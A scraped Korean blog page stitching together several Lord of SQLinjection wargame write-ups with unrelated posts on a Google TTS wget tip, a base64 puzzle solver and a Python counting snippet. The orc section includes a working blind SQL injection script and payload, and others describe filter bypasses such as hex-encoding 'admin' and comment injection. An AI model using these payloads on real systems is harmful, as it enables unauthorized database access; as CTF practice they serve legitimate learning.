필터를 확인해보면

공백이 필터에 걸렸다. 그래서 or을 | (파이프)로 처리하면 공백 없이 문제가 풀린다.





'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection orge  (0) 2017.07.25
Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25

pw 길이 찾기 : 123%27%20or%20ascii(id)-103%20and%20if(length(pw)=8,1,1=2)%23

플래그는 8자리이며 blind sqlinjection으로 풀었다.


import urllib, urllib2

url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="
result = ""
for i in range(1, 16):
        for j in range(33,127):
                payload = "123%27%20or%20ascii(id)-103%20and%20if(ascii(substr(pw,{},1))={},1,1=2)%23".format(i, j)
                testurl = url + payload
                print testurl
                req = urllib2.Request(testurl)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fb82627de6749e5eaac73e1f1500957474; PHPSESSID=498v4fb9opfr78vauqu83eq635')
                res = urllib2.urlopen(req).read()
                if "Hello admin" in res:
                        print "[*]Find!"
                        result += chr(j)
                        break
print "[+]FIND FLAG! : {}".format(result)



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25
Lord of SQLinjection Gremlin  (0) 2017.07.25

이 문제는 no 파라미터에만 문자를 넣을 수 있다.

preg_match를 보면 no에 대해서 싱글쿼터와 더블쿼더가 필터로 추가되었다.


따라서 쿼터는 사용이 불가능하다.

no에 1을 넣고 리퀘스트를 보내면 Hello guest라는 리스폰스가 온다.

따라서 no=2 or id='admin'을 보내면 참이 되어 문제가 풀릴것이다.

하지만 쿼터가 막혀있으므로 id=admin을 다른방식으로 보내야한다.

mysql에선 문자를 hex로 변환해 보내도 hex를 디코딩한 문자열로 인식해서 값을 보여준다.

따라서 admin을 hex로 인코딩하여 보내면 문제가 풀리다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25
Lord of SQLinjection Gremlin  (0) 2017.07.25

첫번째 문제와 다른점은 pw부분에 값을 넣으면 md5로 인젝션을 해준다.

먼저 생각해볼 수 있는것은 md5부분을 무시하는것이다. 첫번째 문제처럼 id부분에서 주석을 넣으면 풀릴것이다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection Gremlin  (0) 2017.07.25

문제는 id와 pw에 적절한 값을 넣어 인젝션을 하는것이다.

preg_match로 GET으로 넘어온 파라미터 인자문자열을 검사한다.

prob, _, ., ()만 검사하므로 주석은 먹힐것이다.

따라서 주석을 preg_match로 검사하지 않기 때문에 주석(%23)을 사용하면 인젝션이 된다.



'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection Darkelf  (0) 2017.07.25
Lord of SQLinejction wolfman  (0) 2017.07.25
Lord of SQLinjection orc  (0) 2017.07.25
Lord of SQLinjection goblin  (0) 2017.07.25
Lord of SQLinjection cobolt  (0) 2017.07.25

TTS (Text To Speech) API


아래 링크로 들어가서 q파라미터에 문자를 입력하면 입력한 문자를 음성파일로 변환해준다.


http://translate.google.com/translate_tts?ie=UTF-8&total=1&idx=0&textlen=32&client=tw-ob&q=테스트입니다.&tl=ko-kr

필요한 음성메시지가 있다면 wget을 이용하여 아래와 같이 다운받아 사용하면 편리할것이다.


wget -q -U Mozilla -O output.mp3 http://translate.google.com/translate_tts?ie=UTF-8&total=1&idx=0&textlen=32&client=tw-ob&q=테스트입니다.&tl=ko-kr



Ref.http://blog.naver.com/PostView.nhn?blogId=chandong83


'오픈 API > 구글 API' 카테고리의 다른 글

Tacotron에 관한 글  (0) 2018.01.13

문제 화면이다. 나오는 값들이 아스키 코드인것 같아 값들을 바꾸어 출력하면 base64로 보이는 값이 나온다. 그 값을 bas64디코딩 하면 플래그가 나온다. 이 과정을 코드로 작성하면 아래와 같다.

import base64
dats = "86 71 57 107 89 88 107 103 97 88 77 103 89 83 66 110 98 50 57 107 73 71 82 104 101 83 52 103 86 71 104 108 73 69 70 49 100 71 104 76 90 88 107 103 97 88 77 103 86 109 86 121 101 86 90 108 99 110 108 85 98 50 53 110 86 71 57 117 90 48 100 49 99 109 107 104"
text = ""
for dat in dats.split(" "):
    text += chr(int(dat))
print base64.b64decode(text)



'Wargame > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS system16번  (0) 2017.06.01
SuNiNaTaS MISC13번  (0) 2017.05.31
SuNiNaTaS MISC17번  (0) 2017.05.31
SuNiNaTaS MISC12번  (0) 2017.05.26
SuNiNaTaS binary10번  (0) 2017.05.22

리스트안의 중복된 값의 개수

w_count = {} 
lists = ["가나다라", "BYE", "HELLO", "123", "Asd1", "123", "HELLO", "bye", "BYE"]
for lst in lists:
    try: w_count[lst] += 1
    except: w_count[lst]=1
print w_count


>>reulst

{'bye': 1, 'Asd1': 1, '가나다라': 1, '123': 2, 'BYE': 2, 'HELLO': 2}


+ Recent posts